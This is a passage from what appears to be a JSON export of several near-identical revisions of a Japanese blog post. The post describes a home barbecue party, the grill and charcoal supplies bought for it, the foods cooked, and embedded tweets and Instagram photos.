text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-06-22T14:51:50+00:00\"\u003e2016 6月 22 7:51午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e \u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:47:32.000Z","updated_at":"2016-06-29T08:47:32.000Z"},{"id":2953,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e\r\n\u003c/blockquote\u003e \r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:48:07.000Z","updated_at":"2016-06-29T08:48:07.000Z"},{"id":2954,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e\r\n\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BG9fTgOPxLW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこの R2-D2 のような装置を導入したところいきなり大勝利した\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-06-22T14:51:50+00:00\"\u003e2016 6月 22 7:51午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\r\n\u003c/blockquote\u003e \r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:48:35.000Z","updated_at":"2016-06-29T08:48:35.000Z"},{"id":2955,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。人は 10 人ぐらいきました。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e\r\n\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp 